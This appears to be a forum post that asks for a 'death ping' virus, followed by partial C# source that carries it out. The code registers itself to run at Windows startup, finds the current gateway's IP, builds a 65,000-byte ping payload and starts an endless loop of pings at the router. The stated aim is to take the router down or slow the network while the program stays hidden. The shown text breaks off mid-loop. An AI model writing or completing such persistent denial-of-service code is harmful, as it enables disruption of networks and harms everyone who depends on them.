Death Ping Program

Make a program in Java C# or C or any language to determine the router IP or the gateway IP of the current NIC.

example the router IP is: 192.168.1.1

After the program gets the IP from Network card info it should start make ping attack to the router (death ping) to make the router down or make the network slow. This virus should work in the background, (hidden) after run it and it should start when Windows starts up.

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using System;
using System.Linq;
using System.Net;
using System.Net.NetworkInformation;
using System.Windows.Forms;
using Microsoft.Win32;

namespace DeathPing
{
    internal static class Program
    {
       private static int _totalPings;
       private const int TotalAllowed = 4000;

       [STAThread]
       private static void Main()
       {
            var ping = new Ping();
            ping.PingCompleted += ping_PingCompleted;
            SetInStartup();

            var garbage = new byte[65000];

            for (int i = 0; i < garbage.Length; i++)
                garbage[i] = (byte) (i%255);

            var nullIp = new IPAddress(new byte[] {0x00,0x00,0x00,0x00});
            foreach (GatewayIPAddressInformation i in from n in NetworkInterface.GetAllNetworkInterfaces()
                                                      select n.GetIPProperties().GatewayAddresses
                                                      into ip where ip.Count > 0 && !Equals(ip[0].Address, nullIp)
                                                      select ip[0])
                while (true)
                   try
                   {...